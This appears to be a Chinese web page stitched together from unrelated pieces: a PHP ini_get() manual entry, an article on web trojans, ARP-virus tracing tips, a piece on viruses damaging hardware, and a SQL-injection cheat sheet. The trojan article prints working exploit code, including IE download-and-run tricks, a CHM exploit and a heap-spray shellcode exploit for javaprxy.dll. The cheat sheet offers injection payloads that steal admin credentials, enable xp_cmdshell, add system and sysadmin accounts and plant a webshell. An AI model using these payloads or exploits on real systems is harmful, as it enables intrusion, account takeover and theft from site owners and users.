获取php.ini设置变量

 ini_get
(PHP 4, PHP 5)

ini_get — Gets the value of a configuration option


说明


string ini_get( string varname )


Returns the value of the configuration option on success.

 

参数
varname
The configuration option name.


返回值
Returns the value of the configuration option as a string on success, or an empty string on failure.

 

范例
例 1. A few ini_get() examples



 

上例的输出类似于:

display_errors = 1
register_globals = 0
post_max_size = 8M
post_max_size+1 = 9
post_max_size in bytes = 8388608 

国内资深安全专家详谈网页木马

诚信网安--子明
【51CTO.com 专家特稿】当今网络,反病毒软件日益增多,使用的反病毒技术越来越先进,查杀病毒的能力逐渐提高,但病毒制作者并不会罢休,反查杀手段不断升级,新的病毒层出不穷,形式也越来越多样化,为了躲避查杀,病毒自身的隐蔽性越来越高,针对反病毒软件对传统的病毒传播途径的监控能力提高,造成病毒传播困难的问题,越来越多的病毒,利用多数反病毒软件产品对恶意脚本监控能力的缺陷,开始利用网页木马这一危害面最广泛,传播效果最佳的方式来传播。
一 、什么是网页木马
网页木马是利用网页来进行破坏的病毒,它包含在恶意网页之中,使用脚本语言编写恶意代码,依靠系统的漏洞,如IE浏览器存在的漏洞来实现病毒的传播。当用户登陆了包含网页病毒的恶意网站时,网页木马便被激活,受影响的系统一旦感染网页病毒,就会遭到破坏,轻则浏览器首页被修改,标题改变,系统自动弹出广告,重则被装上木马,感染病毒,使用户无法进行正常的使用。甚至会引起系统崩溃,敏感信息丢失等严重后果。由于脚本语言易于掌握,所以网页木马非常容易编写和修改,造成很难提取特征值,增加了杀毒软件查杀以及用户预防的困难。
目前的网页木马都是利用脚本语言、ActiveX、WSH等来实现对客户端计算机的远程操作,如改写注册表,添加、删除、更改文件夹等操作。网页病毒可以以此来达到传播的目的。
1.利用WSH(Windows Scripting Host Object Reference)等系统控件
WSH,是“Windows Scripting Host”的简称,可以直译为“Windows 脚本宿主”。在Windows系统中会默认安装,它是内嵌于 Windows 操作系统中的脚本语言工作环境。
Windows Scripting Host 这个概念最早出现于 Windows 98 操作系统。微软在研发 Windows 98 时,为了实现多类脚本文件在 Windows 界面或 Dos 命令提示符下的直接运行,就在系统内植入了一个基于 32 位 Windows 平台、并独立于语言的脚本运行环境,并将其命名为“Windows Scripting Host”。WSH 架构于 ActiveX 之上,通过充当 ActiveX 的脚本引擎控制器,WSH 为 Windows 用户充分利用威力强大的脚本指令语言扫清了障碍。
WSH也有它的不足之处,任何事物都有两面性,WSH 也不例外。WSH 的优点在于它使用户可以充分利用脚本来实现计算机工作的自动化;但也正是它的这一特点,使系统存在了安全隐患。计算机病毒制造者用脚本语言来编制病毒,并利用 WSH 的支持功能,让这些隐藏着病毒的脚本在网络中广为传播。借助WSH的缺陷,通过JAVAScript,VBScript,ActiveX等网页脚本语言,可以改动受影响系统的注册表,利用服务器端脚本程序如:ASP,PHP等来记录访问网页者的相关信息,浏览之后,系统目录被完全共享;IP地址、访问时间、操作系统名称会被网页木马所记录,造成敏感信息的泄露。
2.Microsoft Internet Explorer等浏览器存在漏洞
3.脚本语言
用JAVA编制的脚本语言主要是Java Applet和Java Script。Applet是Java编写的小应用程序,不能独立运行,需要嵌入HTML文件,遵循标准,在支持Java的浏览器(如Microsoft Internet Explorer) 上运行,是Java一个重要的应用分支,它改变了传统网页呆板的界面,在WWW网页(Home Page / Pages)设计中加入了动画、影像、音乐等元素。
JavaScript是一种基于对象(Object)和事件驱动(Event Driven)并具有安全性能的脚本语言。使用它的目的是与HTML超文本标记语言、与Web客户交互作用。从而可以开发客户端的应用程序等。它是通过嵌入或文件引用在标准的HTML语言中实现的。它的出现弥补了HTML语言的缺陷,它是Java与HTML折衷的选择,具有基于对象、简单、安全、动态、跨平台性等特性。
ActiveX是Microsoft提出的一组使用COM(Component Object Model,部件对象模型)使得软件部件在网络环境中进行交互的技术。它与具体的编程语言无关。作为针对Internet应用开发的技术,ActiveX 被广泛应用于WEB服务器以及客户端的各个方面。同时,ActiveX技术也被用于方便地创建普通的桌面应用程序。在Applet中可以使用 ActiveX技术,如直接嵌入ActiveX控制,或者以ActiveX技术为桥梁,将其它开发商提供的多种语言的程序对象集成到Java中。与 Java的字节码技术相比,ActiveX提供了“代码签名”(Code Signing)技术保证其安全性。
造成网页病毒传播和形成的主要原因,是因为Windows操作系统以及Microsoft Internet Explorer等浏览器存在漏洞。
二、网页木马的攻击原理
网页木马实际上是一个HTML网页,与其它网页不同的是该网页是黑客精心制作的,用户一旦访问了该网页就会中木马。为什么说是黑客精心制作的呢?因为嵌入在这个网页中的脚本恰如其分地利用了IE浏览器的漏洞,让IE在后台自动下载黑客放置在网络上的木马并运行(安装)这个木马,也就是说,这个网页能下载木马到本地并运行(安装)下载到本地电脑上的木马,整个过程都在后台运行,用户一旦打开这个网页,下载过程和运行(安装)过程就自动开始。
打开一个网页,IE浏览器不会自动下载程序和运行程序,这是因为,为了安全,IE浏览器是禁止自动下载程序特别是运行程序的,但是,IE浏览器存在着一些已知和未知的漏洞,网页木马就是利用这些漏洞获得权限来下载程序和运行程序的。下面列举一些IE浏览器等存在的漏洞来分别说明为什么利用网页木马可以下载程序和运行程序。
1.下载可执行文件.
index里有一个代码漏洞<LINK href=”ray.exe” rel=stylesheet type=text/css>,IE会把可执行文件误认为CSS样式表而下载到IE的临时文件目录.
也可以利用<SCRIPT LANGUAGE=”icyfoxlovelace” src=”http://test.net/1.exe”></SCRIPT>这段代码,把这段代码插入到网页源代码的</BODY>…</BODY>之间,运行后就会发现在IE的临时目录Temporary Internet Files下,已经下载了1.exe这个病毒文件。
2.自动运行程序
<SCRIPT LANGUAGE=”javascript” type=”text/javascript”> var shell=new ActiveXObject(“shell.application”); shell.namespace(“c:\\Windows\\”).items().item(“Notepad.exe”).invokeverb(); </SCRIPT>
把这段代码插入到网页源代码的</BODY>…</BODY>之间,然后用IE打开该网页,这段代码可以在IE中自动打开记事本。
这段代码使用了shell.application控件,该控件能使网页获得执行权限,替换代码中的“Notepad.exe”(记事本)程序,就可以用它自动运行本地电脑上的任意程序。
通过以上的例子可以看出,利用IE的漏洞,在网页中插入相关的代码,IE完全可以自动下载和运行程序。
三、可能被网页木马利用的漏洞
1.利用URL格式漏洞
此类网页木马是利用URL格式漏洞来欺骗用户。构造一个看似JPG格式的文件诱惑用户下载,但事实上用户下载的却是一个EXE文件。
此类攻击,具有相当的隐蔽性,利用URL欺骗的方法有很多种,比如起个具有诱惑性的网站名称或使用易混的字母数字掉包进行银行网络钓鱼,还有漏洞百出的“%30%50”之类的Unicode编码等等,现在列举比较常见的几种方法:
(1).@标志过滤用户名的解析
本来@标志是E-mail地址的用户名与主机的分隔符,但在URL中同样适用,而且功能如出一辙。HTTP(超文本传输协议)规定了URL的完整格式是“Http://Name:Password@IP地址或主机名”,其中的“IP地址或主机名”是必填项。@标志与其前面的“Name: Password”,意为“用户名:密码”,属于可选项。也就是说,在URL中真正起解析作用的网址是从@标志后面开始的,这就是欺骗原理。
比如用户访问“Http://www.sina.com@www.Trojan.com.cn/HuiGeZi_Server.exe”,从表面上看,这是新浪网提供的一个链接,用户会认为这是一个无害的链接,而点击,而实际上 “www.sina.com”只是个写成新浪网址形式的用户名(此处的密码为空),因为后面有@标志。而真正链接的网址却是 “www.Trojan.com.cn/HuiGeZi_Server.exe” 也就是说这个发来的URL地址其实完全等同于“Http://www www.Trojan.com.cn/HuiGeZi_Server.exe,而与前面的用户名毫无关系,只是迷惑性可就大大提高了。即使没有这个用户名,也完全不影响浏览器对URL的解析。
(2).十进制的IP地址
常见的IP地址包括四个字节,一般表示形式为“xxx.xxx.xxx.xxx”(x表示一个十进制数码),例如“61.135.132.12”。因为数字IP地址较长,且过于抽象、难以记忆,所以采用域名服务DNS来与之对应。在浏览器地址栏中输入“Http://www.sohu.com”与 “Http://61.135.132.12”的结果完全一样,都是访问搜狐网站,因为61.135.132.12就是搜狐域名www.sohu.com的IP地址。不过,用Http://1032291340访问的话,仍然可以打开搜狐网站,这是因为,四位点分十进制形式的IP地址“61.135.132.12”代表一组32位二进制数码,如果合在一起再转换成一个十进制数的话,答案就是1032291340。转换方法,就是数制的按权展开:12×2560+132×2561+135×2562+61×2563 =12+33792+8847360+1023410176=1032291340(基数为256,即28)。在上文的例子中提到了 “www.Trojan.com.cn/HuiGeZi_Server.exe”。这种字母域名有时还能被用户识破,而在把它对应的IP地址(假设为 “61.135.132.13”)换算成一个十进制数后,结果是1032291341,再结合@标志过滤用户的解析,就会变成Http://www.sina.com@1032291341这样的地址,这样就更加隐蔽了。
(3).虚假的网址,网络钓鱼者注册一个域名和真实网站域名十分相似的网址,其用户界面也和真实网站页面非常相似,然后不URL提供给用户,那么一般的用户被引导到这样的虚拟网址上是难以察觉的,攻击者也就可以利用该网页来诱导用户输入自己的个人身份信息,达到窃取的目的,例如真实网站域名是www.lovebank.xxx,伪造网站域名是www.1ovebank.xxx,一个是小写的”L”,一个是数字”1″,域名服务器将解析到完全不同的IP地址上,但用户很难看出来。再如真实网站的域名是www.xxx.xxx.cn,而虚假网站使用域名www.xxx.xxx,很多人也无法判断
(4).更隐蔽的方法,是根据超文本标记语言的规则,可以对文字制作超链接,这样就使网络钓鱼者有机可乘。例如文件源代码可以写成:”<A HREF=http://www.xxxbank.com.cn>http://www.xxbank.com.cn</A>”。这样,屏幕上显示的是xxxbank的网址,而实际却链接到了xxbank的虚假网站。
(5).采用伪装手段。可以在浏览器打开虚假网站的时候,弹出一个很隐蔽的小图像,正好覆盖在浏览器显示网址的地方,该小图像显示被仿冒的网站的真实域名,而浏览器真正访问的地址被掩盖在下面。
(6).虚假的弹出窗口。一些虚假网站会将用户转移到真实的网址,但是转移之前制造假冒的弹出窗口,提示用户进行个人登陆的操作,很多用户会误认为这些弹出窗口是网站的一部分而进一步按照提示操作,直到透露出自己的个人身份信息。
(7).可以利用浏览器漏洞窃取个人信息,如IE就曾暴露出一个漏洞,该漏洞使攻击者可以在垃圾邮件中构造一种数据,用户点击后便可使IE浏览器显示的网址与实际访问的网址不同。采用这种方式进行攻击,欺骗性更好,可以通过向用户发送包含URL的垃圾邮件的方式,诱骗用户点击,用户如果不检查邮件的原始代码,根本无法知道自己被浏览器欺骗了。
(8).黑客程序可以修改用户计算机中的HOSTS文件,将特定域名的IP地址设置成自己的虚假网站的地址,用户访问这些网站时,机器会从 HOSTS文件中获得对应的IP。除了上面的方法外,更为隐蔽和目前常用的攻击手法是,攻击者首先攻破一个正常的网站,然后修改网站的代码,通过跳转语句或嵌入JS脚本的手段,来改造一个挂马的网站,这样当用户点击了包含正常网站的URL时,是不会有戒备心理的,更容易造成更大的损失。
2.通过ActiveX控件制作网页木马。
通过 ActiveX 把普通的软件转化为可以在主页直接执行的软件的网页木马,此类网页木马对所有的系统和IE版本都有效,缺点是浏览网页木马时会弹出对话框,询问是否安装此插件。病毒作者通常是伪造微软、新浪、Google等知名公司的签名,伪装成它们的插件来迷惑用户。
3.利用WSH的缺陷
利用WSH修改注册表,使IE安全设置中“没有标记为安全的的activex控件和插件”的默认设置改为启用,然后再利用一些可以在本地运行EXE程序的网页代码来运行病毒。它的危害在于,可以利用IE的安全漏洞提升权限达到本地运行任意程序的后果。
4.利用MIME漏洞制做的网页木马。
它利用了Microsoft Internet Explorer中MIME/BASE64处理的漏洞,MIME(Multipurpose Internet Mail Extentions),一般译作“多用途的网络邮件扩充协议”。顾名思义,它可以传送多媒体文件,在一封电子邮件中附加各种格式文件一起送出。现在它已经演化成一种指定文件类型(Internet的任何形式的消息:E-mail,Usenet新闻和Web)的通用方法。在使用CGI程序时你可能接触过 MIME类型,其中有一行叫作Content-type的语句,它用来指明传递的就是MIME类型的文件(如text/html或 text/plain)。MIME在处理不正常的MIME类型时存在一个问题,攻击者可以创建一个Html格式的E-mail,该E-mail的附件为可执行文件,通过修改MIME头,使IE不能正确处理这个MIME所指定的可执行文件附件。IE处理附件的方式:一般情况下如果附件是文本文件,IE会读取文件,如果是VIDEO CLIP,IE会查看文件;如果附件是图形文件,IE就会显示文件;如果附件是一个EXE文件呢?IE会提示用户是否执行,但当攻击者更改MIME类型后,IE就不再提示用户是否执行而直接运行该附件。从而使攻击者加在附件中的程序,攻击命令能够按照攻击者设想的情况进行。在Win9X\ME以及 WinNT4和Win2000下的Internet Explorer 5.0、5.01、5.5均存在该漏洞,微软邮件客户端软件Outlook Express也存在此漏洞。
5.利用系统的图片处理漏洞
这是种只要浏览图片就可以传播的网页木马。这种木马是把一个EXE文件伪装成一个BMP或JPG图片文件,在网页中添加如 <img src=”love.bmp” >的代码来欺骗IE自动下载,然后利用网页中的Java Script脚本查找客户端的Internet临时文件夹,寻找下载的BMP格式文件,把它拷贝到TEMP目录.再利用脚本把找到的BMP文件用 DEBUG还原成EXE,并添加到注册表启动项中,达到随系统的目的。
6.HTML文件木马
首先利用工具把EXE格式的文件转化成HTML文件的木马,这样.EXE文件看起来就变成了Htm文件,欺骗访问者访问假冒的Htm文件从而达到运行病毒的目的。它和BMP网页木马运用了同一个原理,也会利用JAVASCRIPT脚本和debug程序来转换回EXE文件。
7.Hta木马
Hta网页木马,是利用Internet Explorer Object Data(MS03-032)漏洞制作的网页木马,此漏洞是因为Internet Explorer在处理对象”Object”标记时没有正确处理要被装载的文件参数。(”Object”标记用于插入ActiveX组件等对象到HTML 页面。”Object”标记的”Type”属性用于设置或获取对象的MIME类型。通常合法MIME类型包括”plain/text”或 “application/hta”, “audio/x-mpeg”等。)Internet Explorer指定远程对象数据位置的参数没有充分检查被装载的文件属性,攻击者可以构建恶意页面,诱使用户访问来运行恶意页面指定的程序 。
8.利用CHM格式漏洞。
这种网页木马首先创建一个Htm文件,包含如下代码:<OBJECT NAME=’X’ CLASSID=’CLSID:11111111-1111-1111-1111-111111111123′ wight =0 height =0 CODEBASE=’x.exe’>然后用电子书制作工具将包含名为x.exe的病毒文件该文件的文件夹编译成CHM文档。新建一个包含如下代码的 Htm文件。
<title>hello</title>
<textarea id=”code” style=”display:none;” >
<object data=”&#109;s-its:mhtml:file://C:\foo.mht!${lhxy}/x.chm::/x.htm” type=”text/x-scriptlet”></object>
</textarea>
<script language=”javascript”>
document.write(code.value.replace(/\${lhxy}/g,location.href.substring(0,location.href.indexOf(‘mm.htm’))));
</script>
就达到了调用挂病毒的目的。
9.IFRAME溢出
IE IFRAME漏洞利用了MS05020中提到的IE溢出漏洞, IE在处理iframe标签的时候,会调用一个叫作SHDOCVW!CBaseBrowser2::SetFramName函数来进行unicode copy(wcscpy),在拷贝iframe的name时,没有进行边界检查,构造恶意的代码就会导致IE的溢出。IE产生溢出错误后,可能会被黑客利用打开电脑中某个端口。当微软的IE窗口打开另一个窗口时,如果子窗口是另一个域或安全区的话,安全检查应当阻止父窗口访问子窗口。但事实并非如此,父窗口可以访问子窗口文档的frame,这可能导致父窗口无论是域或安全区都能在子窗口中设置Frame或IFrame的URL。这会带来严重的安全问题,通过设置URL指向Javascript协议,父窗口能在子域环境下运行脚本代码,包括任意的恶意代码。攻击者也能在“我的电脑”区域中运行脚本代码。这更会造成严重的后果。
10. Microsoft Internet Explorer Javaprxy.DLL COM对象堆溢出漏洞
Microsoft Internet Explorer存在一个堆溢出漏洞。当一个恶意的网页实例化’javaprxy.dll’ COM对象时,可能导致堆溢出,成功利用该漏洞能够在客户端上下载执行任意代码。其测试代码如下:
<!–
注:这个漏洞利用代码是用PERL脚本生成的可用HTM网页文件,以网页形式保存,打开后如果执行成功,将会监听28876端口
–>
<html><body>
<SCRIPT language=”javascript”>
shellcode = unescape(“%u4343″+”%u4343″+”%u43eb%u5756%u458b%u8b3c%u0554%u0178%u52ea%u528b%u0120%u31ea%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf%u01ac%u85c7%u75c0%u39f6%u75df%u5aea%u5a8b%u0124%u66eb%u0c8b%u8b4b%u1c5a%ueb01%u048b%u018b%u5fe8%uff5e%ufce0%uc031%u8b64%u3040%u408b%u8b0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c%u6850%u3233%u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe%uff90%uffff%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0%u40c4%ubb50%u7d22%u7dab%u75e8%uffff%u31ff%u50c0%u5050%u4050%u4050%ubb50%u55a6%u7934%u61e8%uffff%u89ff%u31c6%u50c0%u3550%u0102%ucc70%uccfe%u8950%u50e0%u106a%u5650%u81bb%u2cb4%ue8be%uff42%uffff%uc031%u5650%ud3bb%u58fa%ue89b%uff34%uffff%u6058%u106a%u5054%ubb56%uf347%uc656%u23e8%uffff%u89ff%u31c6%u53db%u2e68%u6d63%u8964%u41e1%udb31%u5656%u5356%u3153%ufec0%u40c4%u5350%u5353%u5353%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353%u5343%u534b%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe%u5bff%uc031%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff%uef87%u12bb%u6d6b%ue8d0%ufec2%uffff%uc483%u615c%u89eb”);
bigblock = unescape(“%u0D0D%u0D0D”);
headersize = 20;
slackspace = headersize+shellcode.length
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<750;i++) memory[i] = block + shellcode;
</SCRIPT>
<object classid=”CLSID:03D9F3F2-B0E3-11D2-B081-006008039BF0″></object>
Microsoft Internet Explorer javaprxy.dll COM Object Remote Exploit

快速找到ARP病毒源

第一招:使用Sniffer抓包  在网络内任意一台主机上运行抓包软件,捕获所有到达本机的数据包。如果发现有某个IP不断发送请求包,那么这台电脑一般就是病毒源。原理:无论何种ARP病毒变种,行为方式有两种,一是欺骗网关,二是欺骗网内的所有主机。最终的结果是,在网关的ARP缓存表中,网内所有活动主机的MAC地址均为中毒主机的MAC地址;网内所有主机的ARP缓存表中,网关的MAC地址也成为中毒主机的MAC地址。前者保证了从网关到网内主机的数据包被发到中毒主机,后者相反,使得主机发往网关的数据包均发送到中毒主机。
第二招:使用arp -a命令 任意选两台不能上网的主机,在DOS命令窗口下运行arp -a命令。例如在结果中,两台电脑除了网关的IP,MAC地址对应项,都包含了192.168.0.186的这个IP,则可以断定192.168.0.186这台主机就是病毒源。原理:一般情况下,网内的主机只和网关通信。正常情况下,一台主机的ARP缓存中应该只有网关的MAC地址。如果有其他主机的MAC地址,说明本地主机和这台主机最后有过数据通信发生。如果某台主机(例如上面的192.168.0.186)既不是网关也不是服务器,但和网内的其他主机都有通信活动,且此时又是ARP病毒发作时期,那么,病毒源也就是它了。
第三招:使用tracert命令  在任意一台受影响的主机上,在DOS命令窗口下运行如下命令:tracert 61.135.179.148。 假定设置的缺省网关为10.8.6.1,在跟踪一个外网地址时,第一跳却是10.8.6.186,那么,10.8.6.186就是病毒源。原理:中毒主机在受影响主机和网关之间,扮演了“中间人”的角色。所有本应该到达网关的数据包,由于错误的MAC地址,均被发到了中毒主机。此时,中毒主机越俎代庖,起了缺省网关的作用。

病毒破坏硬件有七大损招

病毒破坏硬件的“手段”,一般有以下几种:
 
1.破坏显示器
众所周知,每台显示器都有自已的带宽和最高分辨率、场频。早期生产的14英寸彩色显示器,带宽大约只有35-45MHz,对应的最高分辩率为1024×768@60Hz场频;目前的14英寸彩色显示器,带宽大都有60MHz,对应的最高分辨率为1024×768@75Hz场频;15英寸彩色显示器(高档的),带宽有110MHz,对应的最高分辨率为1280×1024@85Hz场频。大家可以查看一下显示器的说明书,上面都有场频与最高分辨率的配合。若其中有一项超过,就会出现花屏,严重了就会烧坏显示器。病毒可以通过篡改显示参数来破坏显示器(如把分辨率、场院频改到显卡能支持的最高档等)。虽然新型显示器有DDC标准化与系统联络,但病毒想钻空子并不难。所以大家如果发现在使用过程中显示器出现了花屏,要立即关掉显示器的电源,重新启动后进入安全模式再找原因。
 
2.超外频、加电压破坏CPU、显卡、内存等
目前新型主板采用“软跳线”的越来越多,这正好给病毒以可乘之机。所谓“软跳线”是指在BIOS中就能改动CPU的电压、外频和倍频。病毒可以通过改BIOS参数,加高CPU电压使其过热而烧坏,或提高CPU的外频,使CPU和显卡、内存等外设超负荷工作而过热烧坏。这类事件的前兆就是死机。所以,如果发现机器经常死机,就要赶紧到CMOS中看看以上参数是否有改动。可喜的是,目前很多主板都有CPU温度监测功能,超温后立即降频报警,可以基本杜绝烧坏硬件的情况发生。
 
3.超“显频”破坏显卡
目前很多中高档显卡等都可以手动改变其芯片的频率,并且改的方法更简单:在Windows注册表里改。病毒改动了“显频”,显卡也就容易超负荷工作而烧坏。这种事件的前兆也是死机。所以,死机时也不要忽视对“显频”的检查。另外还有一种减少烧坏显卡的可能性的办法,那就是……(什么?你已经安了两个风扇了!?)
 
4.破坏光驱
光驱中的光头在读不到信号时就会加大激光发射功率,这样长期下去对光驱的寿命极为不利。有人做实验,让正常的光驱不停的读取一张划痕很多,信号较弱的光盘,28小时以后光驱就完蛋了。病毒可以让光头走到盘片边缘无信号区域不停的读盘,结果光头读不到信号,便加大发射功率不停地读,要不了几天,光驱就要“No Disc”了。所以要经常注意光驱灯的闪亮情况,判断光驱是否在正常工作。
 
5.破坏主板、显卡的Flash BIOS
这就是现在的CIH病毒破坏主板的方式。病毒用乱码冲掉了BIOS中的内容,使机器不能启动。不过现在很多主板都有带有FlashBIOS写保护跳线,可以有效的防止CIH病毒破坏主板。但是不要忘了,很多显卡也有FlashBIOS,说不定哪一天就会冒出一种破坏显卡BIOS的病毒。所以还是小心一点为好,这可没有什么特效药啊。
 
6.破坏硬盘
大家都知道,分区、高级格式化对硬盘都没有什么损伤,惟独低级格式化对硬盘的寿命有较大的影响。据说硬盘做上10次低级格式化就会报废。如果出现一种病毒,不停的对硬盘的0磁道做低格式化(做10次最多只需用几秒钟!),0道坏了再做1道……你的硬盘容量就会一点一点(这一点好不小啊!)地被蚕食,而且0、1、2……道坏了,要想再使用该硬盘,就得在BIOS中重新设定起始磁道,再低级格式化,非常麻烦。
其实,该病毒有一个非常简单而有效的预防方法,那就是将BIOS中的Boot SectorVirusProtection(引导区病毒写保护)设为Enable(打开)。笔者做过实验,将上述开关打开的情况下,使用各种低级格式化软件(包括BIOS中自带的)对硬盘进行低格,BIOS都会报警(报告说有程序企图重写引导区,问是否继续),按N就可以防止。要知道BIOS程序掌管着系统的最高控制权,应该没有什么东西可以冲破其防线(你按Y是另外一回事)。若发现上述情况,赶紧Reset,然后进行杀毒不过,如果你是在装Win98等操作系统或SystemCommander等软件时碰到该情况,就大可不必理会它,困为这些软件安装时都有要重写引导区。不过劝你安装这些软件时最好先把写保护关掉,否则容易出现死机现象!
 
7.浪费喷墨打印机的墨水
喷墨打印机的喷头特别容易堵塞,为此打印机公司特别发明了专门浪费墨水的“清洗喷头”功能,即让大量墨水冲出喷头,清除杂物。这项功能可以用软件控制实现,于是乎病毒便神不知鬼不觉的一次次调用该功能,而你却对打印机的呻吟声却听而不见。当你发现时,大量的墨已经被浪费了。这种病毒唯一的预防办法就是……不用打印机时把打印机关了。其实,只要你常注意一下打印机上的模式灯就可以了,清洗喷头时它通常是一闪闪的。另外还要仔细倾听它的呻吟声,清洗喷头时打印头总是要来回走动几下的(为了加热)。

入侵网站常用语句

1.判断有无注入点
; and 1=1 and 1=2


2.猜表一般的表的名称无非是admin adminuser user pass password 等..
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) —判断是否存在admin这张表


3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)


4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.
and 1=(select count(*) from admin where len(*) >0)–
and 1=(select count(*) from admin where len(用户字段名称name)>0)
and 1=(select count(*) from admin where len(_blank>密码字段名称password)>0)


5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 错误
and 1=(select count(*) from admin where len(name)>5) 正确 长度是6
and 1=(select count(*) from admin where len(name)=6) 正确
and 1=(select count(*) from admin where len(password)>11) 正确
and 1=(select count(*) from admin where len(password)>12) 错误 长度是12
and 1=(select count(*) from admin where len(password)=12) 正确


6.猜解字符
and 1=(select count(*) from admin where left(name,1)=a) —猜解用户帐号的第一位
and 1= (select count(*) from admin where left(name,2)=ab)—猜解用户帐号的第二位
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
and 1=(select top 1 count(*) from Admin where Asc(mid (pass,5,1))=51) —
这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.


group by users.id having 1=1–
group by users.id, users.username, users.password, users.privs having 1= 1–
; insert into users values( 666, attacker, foobar, 0xffff )–
UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank> _NAME=logintable-
UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank>_id)-
UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank>_id,login_blank>_name)-
UNION SELECT TOP 1 login_blank> _name FROM logintable-
UNION SELECT TOP 1 password FROM logintable where login_blank>_name=Rahul–


看_blank>服务器打的补丁=出错了打了SP4补丁
and 1=(select @@VERSION)–


看_blank>数据库连接账号的权限,返回正常,证明是_blank>服务器角色sysadmin权限。
and 1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin))–


判断连接_blank>数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA)
and sa=(SELECT System_blank>_user)–
and user_blank>_name()=dbo–
and 0<>(select user_blank>_name()–


看xp_blank>_cmdshell是否删除
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_blank>_cmdshell)–


xp_blank>_cmdshell被删除,恢复,支持绝对路径的恢复
;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll–
;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c: \inetpub\wwwroot\xplog70.dll–


反向PING自己实验
;use master;declare @s int;exec sp_blank>_oacreate “wscript.shell”,@s out;exec sp_blank>_oamethod @s,”run”,NULL,”cmd.exe /c ping 192.168.0.1″;–


加帐号
;DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank> _OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add–


创建一个虚拟目录E盘:
;declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w “默认Web站点” -v “e”,”e: \”–


访问属性:(配合写入一个webshell)
declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse


爆库 特殊_blank>技巧::%5c=\ 或者把/和\ 修改%5提交
and 0< >(select top 1 paths from newtable)–


得到库名(从1到5都是系统的id,6以上才可以判断)
and 1=(select name from master.dbo.sysdatabases where dbid=7)–
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)


依次提交 dbid = 7,8,9…. 得到更多的_blank>数据库名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一个表 假设为 admin
and 0 <>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 来得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin
and uid>(str (id))) 暴到UID的数值假设为18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_blank>_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
(id,…)) 来暴出其他的字段
and 0<(select user_blank>_id from BBS.dbo.admin where username>1) 可以得到用户名


依次可以得到_blank>密码。。。。。假设存在user_blank>_id username ,password 等字段
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<> (select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 判断id值
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段
?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
?id=-1 union select 1,2,3,4,5,6,7,8, *,9,10,11,12,13 from admin (union,access也好用)


得到WEB路径
;create table [dbo].[swap] ([swappass][char](255));–
and (select top 1 swappass from swap)=1–
;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SYSTEM\CurrentControlSet \Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/,values=@testOUTPUT insert into paths (path) values(@test)–
;use ku1;–
;create table cmd (str image);– 建立image类型的表cmd


存在xp_blank>_cmdshell的测试过程:
;exec master..xp_blank>_cmdshell dir
;exec master.dbo.sp_blank>_addlogin jiaoniang$;– 加SQL帐号
;exec master.dbo.sp_blank>_password null,jiaoniang$,1866574;–
;exec master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin;–
